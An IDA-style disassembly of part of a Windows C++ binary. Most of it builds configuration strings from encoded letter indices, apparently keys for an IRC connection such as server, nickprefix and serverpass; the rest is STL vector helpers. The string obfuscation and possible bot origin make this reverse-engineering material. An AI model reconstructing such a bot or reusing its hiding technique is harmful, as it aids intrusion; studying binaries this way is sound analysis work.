; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		mov	byte ptr [esp+3A4h], 31h
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+388h], 36h
		lea	edi, [esi+0E7Fh]
		push	edi
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		mov	byte ptr [esp+398h], 3Ah
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Eh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		mov	byte ptr [esp+37Ch], 43h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		mov	byte ptr [esp+380h], 4Ch
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F30
		push	offset word_4E8E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E5A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493A4
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449280
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492C9
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44935B
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		mov	byte ptr [esp+358h], 1Bh
		lea	ecx, [esp+110h]
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		mov	byte ptr [esp+358h], 0
		lea	ecx, [esp+80h]
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409520	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409538
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409538:				; CODE XREF: sub_409520+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409520	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409560	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409560	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409590	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_409590	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095B0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095D0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095DA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095DA:				; CODE XREF: sub_4095D0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409650	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096D0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40979B
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409703
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409705
; ---------------------------------------------------------------------------


loc_409703:				; CODE XREF: sub_4096D0+26j
		mov	ebp, edi


loc_409705:				; CODE XREF: sub_4096D0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40979B:				; CODE XREF: sub_4096D0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
